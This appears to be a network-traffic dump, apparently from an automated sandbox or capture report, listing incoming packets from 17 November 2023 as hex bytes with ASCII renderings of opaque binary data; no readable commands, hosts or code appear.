2023-11-17 05:22:24 UTC	1193	IN	Data Raw: 9a 8f 34 38 4a 1b d9 59 46 5a 76 dd 46 f6 50 93 3f 2b 54 d9 78 5d 5b 71 1f dc b0 6e 8b 11 8f 04 6a f0 38 f9 a9 17 12 3e 4e 66 30 de ad 7f 7c 92 00 14 fd 24 56 57 76 c1 04 59 f2 c1 06 7a 14 a8 4a 7b 24 30 0a f1 60 11 00 7f 63 1d 00 0b f8 97 52 dd 76 57 52 1e 27 71 11 dc b5 99 a7 0a 90 93 a6 6b 7f 1d 27 a2 b2 e8 4a 5f 7a 85 56 74 50 94 2d ff 61 fb 0e 50 68 3e c7 0f 31 38 e5 3a 43 7c 35 57 b9 a2 d4 bf 15 1a de 6c b0 c4 06 56 58 11 3f 7b 90 cf 12 1f 74 bd 07 bf 70 d1 85 a2 73 e6 5f a0 30 b5 ab 2f 4e 93 16 7f 5b c1 33 5f 7a c5 06 55 38 f1 7d be bb 7a 28 e6 d1 9a ed 46 34 92 67 52 36 92 15 de 71 56 e7 5a d1 90 87 5c fd c0 07 3f 64 b3 0d 68 d1 9d a6 52 f0 ed 12 bf 14 11 ae 50 fd 83 84 ff 01 aa cc ff 72 a5 09 d2 22 f6 27 2c 37 9d 46 5a 00 f0 40 9e 76 92 67 26 30 Data Ascii: 48JYFZvFP?+Tx][qnj8>Nf0\|$VWvYzJ{$0`cRvWR'qk'J_zVtP-aPh>18:C\|5WlVX?{tps_0/N[3_zU8}z(F4gR6qVZ\?dhRPr"',7FZ@vg&0
2023-11-17 05:22:24 UTC	1209	IN	Data Raw: 27 cd fb df 46 50 c7 c7 10 5f 21 1a fe 0d 5b 6a 8d 9a 72 ba 26 08 27 c1 8b 13 54 d9 83 1f 6b ad c6 5b 34 79 18 ca 30 d5 6e 13 54 a9 c6 19 78 d1 16 5e 70 79 06 95 97 6f f9 db b0 e4 6d 4e 91 93 ee c2 99 91 02 09 34 1b 0e 57 f8 9b 46 07 f3 53 07 db 08 58 73 ad 58 97 64 11 20 be 04 78 f0 93 8c 8c 74 79 c1 d6 8e 6e 34 61 b0 e1 0b 9d 67 4a 20 7e 6a 41 20 4f 2a 34 d7 79 88 51 06 9d 64 71 17 77 41 f2 16 3f 3a 6e f9 ae 79 d1 ee b9 61 11 33 d4 fe dd 37 16 c7 d7 10 37 fb 07 56 cf 70 18 b6 70 10 91 8b 5f 38 6e 85 a6 67 18 92 7b 61 70 4a 50 f7 6c f7 65 c6 18 3e df ed 93 16 a0 54 1c 2a 3f 70 c3 3d 6f 60 1a ed 1f 79 8d b4 63 fd 9b dd 0f 70 a2 07 d5 58 7a 00 d4 12 6e b6 13 5c 08 f1 3e 70 60 60 47 60 a2 dd 64 8a 52 49 22 5a 7a de 5c fd d8 46 09 f0 99 51 df 78 10 0a 9e b1 Data Ascii: 'FP_![jr&'Tk[4y0nTx^pyomN4WFSXsXd xtyn4agJ ~jA O4yQdqwA?:nya377Vpp_8ng{apJPle>T?p=o`ycpXzn\>p``G`dRI"Zz\FQx
2023-11-17 05:22:24 UTC	1225	IN	Data Raw: 04 73 80 93 76 5d 2f e5 04 a3 65 91 8d 1b de 2a 06 7b 74 14 c6 2b 65 1a 4a 5f 54 99 8d 0b 54 9d 8f 17 72 d9 06 0f 60 18 56 1f f9 d9 46 1b b3 5d ca d4 34 90 fe 2a 10 90 c5 d4 30 d9 06 67 74 ad 72 5d 7d 90 ba de 91 6e f9 ac 8f 89 27 17 1c 90 36 5b 70 12 ea 4b 70 30 d2 6e 77 81 35 9b f9 91 42 7b 60 c4 8d 33 54 8d 06 da 9d c7 8d 2b 54 b5 09 5f f4 14 06 5f 70 1a 53 33 70 66 c4 5f 70 9d 06 2b 1c 11 86 61 53 e4 57 e7 71 91 2e 5f c1 b1 3e 53 76 e5 15 67 70 dd 00 5e 04 9b 85 9f 72 91 85 a7 7f ed eb b4 73 12 02 9f 71 90 2d 57 70 e5 20 08 70 1c 7e a0 43 58 83 a0 0e 91 12 d2 36 90 51 0f fd d5 06 7b 64 c1 ee d7 72 92 06 5f f3 55 0a d4 bf 57 42 53 70 9d 06 00 9b 87 05 af 9b 93 10 5b 41 9f c0 1b 54 99 36 7e 70 95 0f 5f fd e5 06 85 35 d1 07 5f c5 96 50 0a 8f 41 85 9b 70 Data Ascii: sv]/e{t+eJ_TTr`VF]40gtr]}n'6[pKp0nw5B{`3T+T__pS3pf_p+aSWq._>Svgp^rsq-Wp p~CX6Q{dr_UWBSp[AT6~p_5_PAp
2023-11-17 05:22:24 UTC	1241	IN	Data Raw: 5b 7b f9 09 e7 7c f9 19 67 79 f9 01 33 ce 51 ca e6 73 e8 10 29 6f 75 81 de 5f 81 36 bd 5f a9 09 82 5f 70 91 dd 1b f0 b5 12 87 81 48 9e d7 73 21 ac 47 71 c9 8a 5c 28 8d 07 73 e0 92 2a f5 50 90 2a cb 73 bd 22 5e 5c 09 06 73 f0 4b 7a 7b 58 48 9e c3 70 83 06 9c fb c5 22 4b 18 ad 39 5f 76 81 54 b7 c2 01 f9 a0 70 12 c2 57 2f cf 5b 04 b3 83 8d 5f ca f9 0e 5f 5c c1 ee c4 71 99 2a 93 bc 5d 51 d4 0c b5 06 57 f5 6e 72 31 26 1a 72 5f 54 81 83 a9 04 f5 db 5a 7a 19 06 77 ad 90 89 8e af 71 db 5f a9 67 c2 1e 05 87 6e 87 91 90 15 87 27 79 5a 5f 4e 92 27 5f 34 d1 df 09 58 4c 03 df 70 9a de 5f b9 4d 03 ff 53 97 16 b7 70 1c 97 5d 70 48 e8 dc 3e 11 0e 5e aa 78 8f d9 8c 91 94 5f af 71 f0 9b 34 eb 08 37 52 59 06 79 27 79 1b 5c 0d cf 59 08 71 ea 07 5f 75 ee 6d da 4f f0 87 0a 4d Data Ascii: [{\|gy3Qs)ou_6__pHs!Gq\(sPs"^\sKz{XHp"K9_vTpW/[__\q*]QWnr1&r_TZzwq_gn'yZ_N'_4XLp_MSp]pH>^x_q47RYy'y\Yq_umOM
2023-11-17 05:22:24 UTC	1251	IN	Data Raw: 06 1f f0 1b 16 5d 30 9d c4 5c 56 d9 c7 58 73 d1 eb ae b5 96 55 0a f0 1a 6a 7b 6c 1c 53 5e 70 ad 92 38 af d0 a5 0a b0 ae 8b bf 33 ac ac 9a 92 95 1a ff 79 9e a6 5d e7 71 05 56 90 9a 5b 04 90 97 c0 5b 5b 91 06 df 4b 91 50 d4 83 e5 0d 1f fd d8 06 dc b6 90 86 7f 05 93 fe bf 70 1c 42 74 8f aa f6 cb 02 8a 06 59 16 91 00 37 84 33 49 11 bb 11 1f 1e 3e 13 01 d5 76 71 02 db d0 51 72 4f 18 55 84 5c de 13 05 57 78 a3 c6 9f c6 89 57 74 83 91 50 50 c6 51 53 0c 20 c6 37 1f cb b9 ee fe 10 80 c6 49 40 1a 06 b7 fb 50 85 9b 68 ba c0 5f 4b 60 71 37 f3 69 02 2d 70 f2 35 8d fa a5 28 d2 7c 91 28 50 c6 e0 04 d5 21 90 a6 9e 92 99 0d 89 10 90 05 5d 71 d1 3d 8f 03 b4 8d 9d d0 31 16 1d 20 91 24 7f 21 c3 53 9f 56 44 06 8e 8f 6e 53 08 98 5f d8 fa 91 9c 26 dc 61 e7 dd 7f 72 2d 26 5d c4 Data Ascii: ]0\VXsUj{lS^p83y]qV[[[KPpBtY73I>vqQrOU\WxWtPPQS 7I@Ph_K`q7i-p5(\|(P!]q=1 $!SVDnS_&ar-&]
2023-11-17 05:22:24 UTC	1267	IN	Data Raw: 07 da 40 43 09 d9 fb 50 0c 9f 56 12 c6 5f 72 1b 4e a0 70 d9 f8 5f 70 99 05 98 f3 7b 07 2a 81 d1 59 9c 4c 81 73 30 33 9e 00 da 31 9e 0c 1f 7f e4 58 e0 78 d3 08 7b 06 c4 47 52 23 c7 06 fc fb 63 06 d2 39 91 35 84 fa e9 05 5f 43 58 8c 37 71 a2 d4 d5 60 e1 f9 d5 28 d1 25 5d fa 81 46 5c a9 10 e5 a0 8f d1 a4 8e 74 10 e4 9e 71 1a cd d4 aa 19 06 4f fb 40 c7 b4 78 50 ec 5f 78 19 5e a0 f8 c1 05 d7 74 d9 02 df 6c 7f 07 2a cb cf 02 04 2f 54 35 09 fb e5 22 57 60 14 f0 2b 36 11 52 47 a9 cd 06 7b 78 48 42 7b 78 4c 03 df f0 ae 00 4f ac 58 db 9d 3c 91 da 9d a9 5b ee 4b 8f 90 0c 5f f0 99 16 de 78 c1 de 13 54 31 0a 81 b1 79 06 9f 74 c1 87 38 71 11 7a 5b b7 6e f9 dc b4 81 80 01 b5 84 03 5f f3 7d 3a 0c b1 89 06 17 fb df 76 50 c6 0f 20 16 31 ea c7 7a b1 f7 51 d6 f0 c9 72 5f 75 Data Ascii: @CPV_rNp_p{YLs031Xx{GR#c95_CX7q`(%]F\tqO@xP_x^tl/T5"W`+6RG{xHB{xLOX<[K_xT1yt8qz[n_}:vP 1zQr_u
2023-11-17 05:22:24 UTC	1283	IN	Data Raw: 54 b7 59 03 18 1b 9b 9f c5 6c 77 56 46 5f 6b 91 76 5f b7 96 03 d8 52 d1 26 5f 73 1a 06 18 30 aa c4 d6 34 b5 12 4f 06 97 8d 9d 70 8f 12 da b0 99 09 db 0f 90 00 10 50 14 cf 5f 04 d6 8d 16 60 14 cf d6 50 dd 22 6b 04 ad 47 1d 39 85 06 74 3f d1 8d 08 50 1a 54 5d 68 91 03 7b 73 59 3d 95 06 b5 00 74 30 d0 8d 9d f0 8e 32 0f 71 11 96 77 73 41 53 0d 98 f1 6e ff 71 91 06 5c 50 95 23 9a 5f 8c cb 9f ee 85 87 73 f0 99 73 a7 b3 bd 06 73 73 d0 0c 1f 79 ba d6 5c 98 b8 41 5d 30 50 39 dc 0f d1 06 50 f5 35 78 50 70 bc 41 1f b3 bf 00 9b 5e bb 0e 9e 5e 01 c2 e2 2c d1 0e 6c b0 11 09 e9 7c b9 85 9f 71 50 37 dc f3 dc c6 79 04 b7 8d 17 6c 55 28 5f 6b 1a 49 1f 4b d9 26 2c 7a 82 07 76 fa 90 89 5b 7a 12 41 5b 30 90 47 8c f3 ed 22 7b 70 95 72 57 f0 b1 12 64 b2 e3 b3 ba 35 bb 1f 17 5a Data Ascii: TYlwVF_kv_R&_s04OpP_`P"kG9t?PT]h{sY=t02qwsASnq\P#_ssssy\A]0P9P5xPpA^^,l\|qP7ylU(_kIK&,zv[zA[0G"{prWd5Z
2023-11-17 05:22:24 UTC	1299	IN	Data Raw: 80 cb f1 8f c2 57 f0 91 7e 52 70 e5 1a de 0e 85 04 96 f0 83 72 4c fb 9f c1 1e 34 85 3c 5e 68 87 8d 5d 73 f4 85 5f 0e b1 06 29 7c 12 78 43 70 91 70 59 f3 ef 22 5f 0f 94 05 4d 50 9b 14 d4 36 b5 8b 53 50 d1 3f 13 54 9d 86 7e 66 56 8e 1d 64 9a 07 50 76 1a 0e dc 2f 19 85 e1 b4 11 01 5f 05 8b 86 4c 70 1a 50 5b 1b 51 52 d4 7a 57 56 5f 37 90 08 53 f9 17 07 51 71 bc 82 d4 de 10 02 98 34 b5 0a de 66 19 09 d1 93 11 04 d2 d4 b5 07 59 f8 14 dd d4 70 7c 8f 0a 74 11 27 7f 2c b5 16 d4 33 99 b2 8f 8d 40 46 19 4b 1a 5d 55 07 dc 47 44 31 9b 0c 0c f8 cb a0 18 7a 96 8d 97 b1 95 ff 5b f1 9a e7 50 f3 71 09 fe 74 9c 0e d6 35 9d d6 52 1e 58 0b df 3d 91 8f 1a 60 1a 00 dc 2c b5 53 57 f1 cd 4b 53 f1 cd 53 4f 75 14 5a 3a e1 cd 42 7b 64 12 c6 5d 71 51 5a dc b5 c5 3d 19 54 f3 8f df 49 Data Ascii: W~RprL4<^h]s_)\|xCppY"_MP6SP?T~fVdPv/_LpP[QRzWV_7SQq4fYp\|t',3@FK]UGD1z[Pqt5RX=`,SWKSSOuZ:B{d]qQZ=TI
2023-11-17 05:22:24 UTC	1315	IN	Data Raw: 3d 18 48 70 9b 23 b1 03 30 ce 15 b2 26 54 d3 1f c4 5e 4b 26 0f d3 1e 9a f6 66 b0 8e 26 5c 43 1c 41 7f 20 fa 46 6c 02 86 0e 9f ae c6 d2 41 68 9f 84 39 6e 81 05 1f 61 56 41 5c 50 45 16 d3 e6 65 0b 7f e4 8e 2e cf 6f 09 fd c5 6f 15 2a 9c 22 8e 71 47 f9 de 87 40 1f c3 19 6f 71 ce 19 0b 6f bd 1f 40 80 3d 53 8e 51 e9 2a d4 f7 63 45 f0 41 8e 27 31 73 e1 6a ae aa 1a 41 23 fb 1e 82 5e 81 96 c7 23 60 e4 20 d4 f7 24 b4 57 f7 50 2e 28 c0 e4 34 59 61 c3 87 9f 74 14 c6 2a a1 ce 24 c1 b0 f4 32 66 2f e1 b7 e8 a2 21 16 25 7f 1f 14 5c 11 94 c3 17 e0 03 38 e3 70 b1 86 21 40 91 09 db a4 91 06 5f 70 1a 40 53 fb 06 04 d7 71 d1 49 5b 7f 3e d6 d4 70 d8 26 35 70 c1 8d 1a 70 91 54 0f 27 6e d7 d4 24 b5 26 67 f3 55 12 66 72 11 8f 1b 40 b5 2e 2c 79 91 ba 5f 50 81 ed 5f 66 1a 48 53 fb Data Ascii: =Hp#0&T^K&f&\CA FlAh9naVA\PEe.oo"qG@oqo@=SQcEA'1sjA#^#` $WP.(4Yat*$2f/!%\8p!@_p@SqI[>p&5ppT'n$&gUfr@.,y_P_fHS
2023-11-17 05:22:24 UTC	1331	IN	Data Raw: cf d6 36 89 8e d4 36 85 c6 11 49 de 62 5f 3e 81 0a 50 fe 4b 46 52 23 1c 50 fb 50 c4 07 e2 9b 9d 86 7a 6c 95 42 5d 64 d1 17 47 fb bb 9f a8 8d 9d 85 23 30 dd 86 71 6c e5 0b d4 50 d7 1e de 74 19 07 d8 fd 95 06 d7 fb c7 1e d4 4c 1b 85 5f b5 6e 8d 92 43 51 35 84 78 79 b9 a2 b0 a4 ce 6c 86 aa 26 ae 0e 88 8b fb d2 a0 85 9c f0 90 8d 92 fb 52 ee fb 32 92 26 64 81 ee e8 d5 90 99 f0 b4 70 19 02 61 f3 57 07 de 8e 18 27 56 0e 5e 04 53 04 a2 be 9e 15 b1 8b 10 8f 7a 0f fb 77 1a f9 5f 7f 27 11 d7 61 9e b0 c8 41 70 02 d7 e4 96 c7 5f 71 bb ef 5e 4a ac 24 58 90 b0 3d 9e 5d d4 2b 64 31 d3 62 5f 65 85 09 d3 43 f1 2a 02 b0 ca 59 01 f3 55 12 76 28 10 7b 77 18 91 02 1f 7b 60 66 11 fb 80 06 35 71 c1 f9 8d b1 77 0f 4e f0 f5 87 b1 70 d1 8c d4 98 1a 06 81 cf 91 b6 59 60 1a f3 97 fd Data Ascii: 66Ib_>PKFR#PPzlB]dG#0qlPtL_nCQ5xyl&R2&dpaW'V^Szw_'aAp_q^J$X=]+d1b_eC*YUv({w{`f5qwNpY`
2023-11-17 05:22:24 UTC	1347	IN	Data Raw: 01 5c 80 39 22 0f bf 80 c3 8f 71 20 6b 4e f3 4c 03 3e a3 a0 85 5d 8f f1 eb 7f a9 95 bf 87 3c b5 ba 7b 30 d8 16 86 10 95 de 9e 7c 79 a4 6f 83 51 aa 4b 16 bc 06 5f 30 f7 8f 5b 0a 12 c1 5e b0 12 f9 1f 0c 43 87 2f 74 10 03 0f ad 49 85 99 61 e9 1e 4f 08 68 08 a7 65 e9 d7 55 69 e9 55 09 01 2d 06 08 fb ed 22 4f fb d6 02 5f fb 99 6c 6f 1a 90 51 a0 70 40 8d af f9 26 5e 5e 70 91 06 98 76 e1 b2 5a 60 1a 06 d8 c8 91 06 5f 43 4a 85 5f b4 9d 2d 9c 04 a9 85 b7 78 90 72 75 71 81 13 d4 67 56 0e 1d 64 a1 06 33 fb 96 8d 57 71 91 6a dc b4 95 ed 78 b7 d7 06 5b f0 2a 03 4f b7 d7 1a 5f f0 7e 03 4f 9b 86 c1 19 58 99 b6 b7 70 81 01 5f 60 01 e3 5e 71 a1 02 2f c7 94 16 00 f9 91 58 53 f9 cf 26 d6 2e 81 06 d6 2e b5 8f 01 64 18 58 5f 58 18 58 47 f9 cf 2a 01 78 ca c5 93 7a 91 85 23 54 Data Ascii: \9"q kNL>]<{0\|yoQK_0[^C/tIaOheUiU-"O_loQp@&^^pvZ`_CJ_-xruqgVd3Wqjx[O_~OXp_`^q/XS&..dX_XXGxz#T
2023-11-17 05:22:24 UTC	1363	IN	Data Raw: 50 fb e3 91 46 78 bc c5 46 53 b0 0c 06 97 be d4 14 1f 8b a4 c3 4f 19 01 10 fd 81 86 47 84 7f 33 4f ad 68 d4 8e b6 00 91 c6 27 e6 87 ee eb 70 60 98 9f 05 8d a6 f5 da d3 0c ae 76 b1 88 bc a8 e3 a4 98 b4 e0 ea ad ed 3b ac ad 84 91 f4 ee cf e0 04 ae 6e e0 04 ee 73 20 06 5b 70 85 b6 5f 72 ee f4 e9 22 29 18 da 9b c0 46 5b 30 db 56 1a 37 80 34 7f 60 e2 67 29 15 f2 8d 0d 37 d3 07 fe 06 d6 74 3a 09 c2 65 3e 03 f1 2a bb fb 91 54 0e 26 b3 3f a5 49 91 66 19 1c e4 75 37 c4 91 83 ca 20 9f 48 3f 75 93 33 8e bd 91 06 19 11 16 06 6e 40 cb f6 65 1e f8 72 36 40 a3 1a 25 15 d3 04 3e b6 11 66 2d 05 f2 19 0e 27 e9 04 ab 4a a0 04 b8 71 91 37 71 80 a3 28 6d 44 64 cc 1f 7b 60 57 6e 72 b2 32 0b 46 dd 55 3a 1c c2 50 0c 15 4f 72 1a d4 32 54 2f 73 02 54 73 d1 91 52 3a 92 e2 b4 02 17 Data Ascii: PFxFSOG3Oh'p`v;ns [p_r")F[0V74`g)7t:e>*T&?Ifu7 H?u3n@er6@%>f-'Jq7q(mDd{`Wnr2FU:POr2T/sTsR:
2023-11-17 05:22:24 UTC	1379	IN	Data Raw: 07 5f 71 f0 07 7e 71 93 07 5f a2 95 65 5e 72 90 66 5e 60 f0 07 9d 64 90 e2 40 1d e1 67 2b 19 f3 6a 3f 15 b1 70 3a 02 10 1c be 61 f3 0e 2a 16 f7 a6 7e 15 e3 74 30 7a e3 e5 7b 03 b1 04 36 13 f8 63 5b 1e e5 86 41 1d fe 74 26 70 92 24 0d 54 95 75 2b 02 f4 67 32 29 76 03 39 19 71 0f 33 73 ff e6 7b 1e d3 63 7f 49 f5 6f 3c 04 71 0a 3e 71 f1 0e 5f f9 97 16 ab f8 97 46 4f c8 b2 00 4f 98 71 06 87 dd f1 06 93 91 90 66 5f d8 f1 06 cf 14 92 0e 7f 19 ff fb 74 3d f0 74 34 a0 b1 47 3b 1c 51 10 5f d0 fa 27 77 da 97 a6 31 78 71 68 55 10 ff 0b bf 1c 91 17 5f 63 91 11 5f 6b 91 06 40 70 b2 06 74 70 a2 06 5f 4b 91 45 5f 23 91 65 5f 70 e2 06 dc 70 32 06 9c 70 cf e5 3e 55 93 06 3e 5c b8 06 4e 54 91 14 0a 54 91 15 7b 70 85 22 5f 65 b5 06 4f a0 91 cf 5f b4 71 01 5e 10 ea 65 4f 75 Data Ascii: _q~q_e^rf^`d@g+j?p:a*~t0z{6c[At&p$Tu+g2)v9q3s{cIo<q>q_FOOqf_t=t4G;Q_'w1xqhU_c_k@ptp_KE_#e_pp2p>U>\NTT{p"_eO_q^eOu
2023-11-17 05:22:24 UTC	1395	IN	Data Raw: 24 e3 ec 15 cb 5d ee fe f4 32 bd 26 65 5e df 26 43 2d cf bc df ec 4f e3 74 1c be 06 02 15 73 92 75 5e 83 38 02 dc 71 e9 76 ef da 4e 94 c4 a1 07 95 d0 9f 93 e4 5d bf 93 c7 5d 36 d7 52 24 12 4e fe e0 90 25 22 5d 5d 07 16 f7 3e 93 90 df 7a 66 9c bd 74 95 13 39 36 f3 dc 6a ec 7e 22 9c cf c0 b3 e0 36 fd 6f 02 0e ce 62 59 1c 79 69 30 14 21 00 33 2f 9c 5f 52 01 cf c7 5d 29 d7 6a 2a 03 f9 c9 45 f7 90 f7 b0 6a d7 74 3a 5a 45 77 7a 05 90 46 5e 7c fe 74 53 b7 55 bd 18 11 fc 6b 21 11 cd 0f 3d 0e 13 07 67 58 24 07 1c f0 d6 06 3e 05 e2 75 36 11 ff 44 91 1c 0f d5 78 c0 51 f3 6e 46 a0 e4 d0 63 fe 85 4c 10 89 45 57 f1 93 73 d0 72 1e 04 3a 68 e5 35 6d b1 1e 85 5d f7 24 06 39 1f d1 45 27 39 fc 67 5f 17 f4 4c 0f 37 d1 46 16 70 d0 43 15 20 d0 5e 1f 2a 91 06 60 37 f4 72 6c 42 Data Ascii: $]2&e^&C-Otsu^8qvN]]6R$N%"...zft96j~"6obYyi0!3/_R])jEjt:ZEwzF^\|tSUk!=gX$>u6DxQnFcLEWsr:h5m]$9E'9g_L7FpC ^`7rlB
2023-11-17 05:22:24 UTC	1411	IN	Data Raw: 63 93 70 c8 f9 cd 52 e6 d8 72 f6 91 24 2a b4 98 1c b3 29 40 06 81 8a fa a9 64 d6 57 11 5f 6a d3 a9 e0 a0 df 68 68 70 ed ac 83 60 81 e2 c1 31 91 d0 39 e4 e7 3d 82 46 6a 06 50 45 10 e1 82 af 53 24 5f 25 d7 c0 24 d9 1f 7b 63 70 2a 0c 95 5e da 23 d4 15 91 83 49 71 4b 71 68 bc cd 56 0e 3c 70 fb 4a 20 ea 16 4e 07 10 d4 43 6d 82 02 5d 40 91 8d 13 e0 96 86 6f 30 22 56 66 40 e1 3a 1f d0 a2 a6 6e f6 be b3 0f 03 d5 65 6c 50 5d 37 6f 5d cf 57 1c 5c c2 45 fc 71 33 57 1b d3 c1 3b 6f b5 c0 2a 54 75 af 01 48 73 8e 57 e0 5c b6 b3 73 bf 03 96 1c 40 e0 8e 16 15 a1 a8 3c ff d8 89 16 f0 d8 3d 09 72 93 d9 53 40 bc 67 36 11 4e 0a 8b 7c f4 74 5b 40 8e 77 57 53 95 1e 6f 66 91 86 4b bf 08 af b5 0b b7 06 ab 3b 58 88 d0 a7 61 03 9f 56 7e e5 8d d7 0c c6 6f 85 dd 05 1f 79 a1 12 5b 60 Data Ascii: cpRr$)@dW_jhhp`19=FjPES$_%${cp^#IqKqhV<pJ NCm]@o0"Vf@:nelP]7o]W\Eq3W;o*TuHsW\s@<=rS@g6N\|t[@wWSofK;XaV~oy[`
2023-11-17 05:22:24 UTC	1427	IN	Data Raw: 1b ad 50 21 06 35 38 e0 bf ac ae d0 b8 5f f4 ec d2 85 6a 7a e2 82 70 fc 57 ea a4 65 c1 da a3 91 85 09 e8 fd 15 9f d8 fa 06 3b 0a 68 64 a2 9c 58 63 5f fa de 5a 5e 64 48 6a 59 70 f2 65 62 7f 6b f3 52 78 91 8b 97 50 ff 3d 01 60 f8 06 13 94 d0 66 8a 02 e0 61 5f d2 40 e2 5c 4c d6 d2 5b 70 da fb da 7d 43 6d ea 7a 91 a3 a5 d8 24 33 33 e8 23 06 1d a6 58 bd 84 30 68 ba 5f dc 72 6a 87 42 e4 5a 80 70 d4 c9 52 a6 4d 5f 62 a1 91 ad f3 40 48 20 65 70 4f 06 0e f0 c0 d1 97 66 f0 d6 5f cf 24 f2 eb 51 b2 c2 ec 70 c7 9f ca ca 5e 09 fa cd 91 be c1 c8 93 2e 57 f8 94 06 00 c2 48 0a 99 54 78 0d 5f c1 16 7a 30 5f 80 4a 37 70 c9 ad 42 11 50 3b 72 16 91 b0 cf 31 4d 70 59 01 4a 06 5e cc b1 d4 c7 5a 81 d3 5f 9f 18 83 ee 01 8e b3 e9 70 97 a3 bb cf 0e 35 8b c8 91 ee fd b9 96 7e 6b 89 Data Ascii: P!58_jzpWe;hdXc_Z^dHjYpebkRxP=`fa_@\L[p}Cmz$33#X0h_rjBZpRM_b@H epOf_$Qp^.WHTx_z0_J7pBP;r1MpYJ^Z_p5~k
2023-11-17 05:22:24 UTC	1443	IN	Data Raw: ee 2b cc 52 11 09 f6 f5 17 9b 67 9e 83 87 72 09 f2 d6 f3 91 ca 59 70 91 51 d2 35 6d 16 0f f9 22 9e df 72 79 29 b2 3b 10 78 8f 49 9d d4 66 05 e6 ca 67 05 ab 60 9a 47 1d 80 fb 37 0d c2 40 05 af 4f 5f 42 e3 6d 1e 5c 5a 54 1f 79 69 e4 da b0 8d fa 2b 5b 12 0d 5d 33 18 2d 5f 04 a3 8d 2a 98 c7 ee ea 41 11 0c 08 98 3e 07 53 29 1e 36 d4 20 ec ea b4 a1 93 31 8f 30 a5 8f 73 cb 0d 46 5e e8 19 c0 db f8 c7 8d 87 81 1a 40 1f 45 97 00 19 30 a5 01 5c db 51 b9 58 73 99 0f 5c 74 99 05 69 b0 55 06 59 fb 97 50 a0 20 99 58 5d b3 91 9b de 9c 75 01 5f 70 81 85 3a 88 91 c6 c1 7c c7 8d 5f 05 99 8d 09 20 c6 6c 49 70 a2 c6 06 fb 6f f5 f4 fb 91 7b 4f f9 c7 56 d4 33 99 06 d6 36 b1 8d 1c 7c 18 40 5f 54 1a 09 d2 36 d9 56 08 78 56 43 a3 30 ab 06 d6 25 99 27 5d 5b 9e 83 d9 72 11 1e 19 38 Data Ascii: +RgrYpQ5m"ry);xIfg`G7@O_Bm\ZTyi+[]3-_*A>S)6 10sF^@E0\QXs\tiUYP X]u_p:\|_ lIpo{OV36\|@_T6VxVC0%'][r8
2023-11-17 05:22:24 UTC	1459	IN	Data Raw: 5e 53 70 aa d9 28 7f e3 01 d4 28 99 0e 64 a9 c1 80 5f f5 51 73 5f 9a ce 5d da b0 18 00 2a a0 8e 8b dd bc b1 05 d4 e0 fe b6 73 72 23 e7 5c 9b 93 8f 6e fb 99 06 d6 3e 95 8f 6f 9b 8b 8d 7b 38 95 9a 5e 38 95 a7 5e 00 95 04 01 93 05 85 b3 6c 12 63 af 72 91 a6 06 05 99 8d d9 ac 95 06 5f 70 50 e6 5d 20 79 4c 5e f0 10 8d 87 f5 4a 8f 02 88 a9 09 db 2d 71 7d ec 71 40 1d da b0 19 8d c9 a8 21 06 50 f6 ad 76 5e 70 1c 4c 43 27 f7 85 26 76 91 06 29 7e 1a 3f da 8f e5 06 57 4b ec fa 2c 73 18 7b 7d 8c 81 5c 17 05 74 f6 22 8f 9e 0a db 62 11 04 bf 33 53 1a 39 f3 b3 7c cf 72 80 8d 5d 70 9f 0d 74 78 d4 fa 5c 20 f1 02 d4 9b 95 06 dc 54 1a 06 1e f3 53 2e 5b 4b 1f 57 59 02 49 8d 12 7c 91 35 8d 49 c4 16 50 f6 46 07 cf 41 11 7f 4f 17 e5 15 50 70 27 47 4e 73 41 44 64 25 91 16 d2 74 Data Ascii: ^Sp((d_Qs_]*sr#\n>o{8^8^lcr_pP] yL^J-q}q@!Pv^pLC'&v)~?WK,s{}\t"b3S9\|r]ptx\ TS.[KWYI\|5IPFAOPp'GNsADd%t
2023-11-17 05:22:24 UTC	1475	IN	Data Raw: 0e 4f 17 79 77 dc 30 cf cf 9c f0 ac 46 ef 7c 91 93 dd 7d cb 27 68 fd 21 32 57 30 a1 32 5f 89 ba c4 08 30 c1 ee 74 7a 36 42 b7 4b 41 07 57 fb 46 2d 1f a0 1b 0e d7 7c 93 17 5d 86 1b 50 cf e9 51 d6 59 b7 95 22 0e 74 9c d6 5f bc c0 3c ae 99 c8 1d a9 27 81 f1 81 98 93 d7 5c b6 cf 59 66 60 e1 8d 52 21 82 06 4a d1 97 2f 09 60 c6 35 a9 ca 90 07 b4 66 aa 02 6a 58 e1 06 2c 62 1a c7 d4 78 e9 12 64 60 c7 8d 56 04 96 66 19 4b 5b 73 b9 81 a1 b5 2c fb 15 53 53 41 20 8d 9d 53 57 47 df 60 b8 a7 27 42 21 02 9f 04 a4 07 6f 6a 12 c7 57 4b 50 73 56 74 12 23 6e 71 91 ed 7d fb 99 22 d6 7d 30 06 b6 f3 90 72 1a 78 01 85 9f 78 1a 86 43 f9 d4 72 5e 71 93 0e 35 4b 59 55 08 04 f1 47 6f 77 98 8d a5 7b 6f 95 5e 04 91 54 dc 0d 85 06 2b 7c aa 06 0f 78 e4 46 64 00 9d 72 5f 32 7a 3f d4 08 Data Ascii: Oyw0F\|}'h!2W02_0tz6BKAWF-\|]PQY"t_<'\Yf`R!J/`5fjX,bxd`VfK[s,SSA SWG`'B!ojWKPsVt#nq}"}0rxxCr^q5KYUGow{o^T+\|xFdr_2z?
2023-11-17 05:22:24 UTC	1491	IN	Data Raw: 4f 54 74 12 92 5f 75 c7 51 50 f5 5d 65 5f 77 90 92 50 f5 3e 06 56 71 17 75 59 50 91 40 5d ee 1c 43 43 20 fb d4 5b 70 97 16 0f 74 f7 a3 5e 0c 91 5d 4e 71 ee ee bf 86 93 a7 59 f3 ec 06 43 74 e2 02 dc 15 81 06 5f fb d4 16 c6 fb 61 85 99 70 6e 8d a5 f3 46 f9 08 26 90 06 76 f9 d2 16 d6 23 85 8f 5f 05 69 8f 22 8c 6e 53 7f 70 14 c6 d6 35 85 72 50 fb 81 f6 d2 0d 71 87 20 fb e4 fe 9d fb 91 0a 2c 64 6e 75 df 0e 11 67 1f 50 12 7b 4b 70 e5 86 4c 04 91 12 35 74 1a fe 06 fd e4 86 bf 43 51 f5 f8 04 b6 85 4b 70 18 75 4f f9 ea 12 b4 69 d0 86 50 65 7a f4 d4 73 91 29 d4 70 d2 02 d6 33 85 60 d4 33 31 0e 39 f9 d2 1e 5d 08 8d 07 27 78 10 ea df f1 e0 8d 2a 64 1a 24 d9 f1 95 8d d1 f4 10 04 8f 7b d1 d7 08 04 87 85 f9 71 98 06 5b f3 37 87 56 70 18 40 7f f9 91 48 7b 9b bd f9 2a 54 Data Ascii: OTt_uQP]e_wP>VquYP@]CC [pt^]NqYCt_apnF&v#_i"nSp5rPq 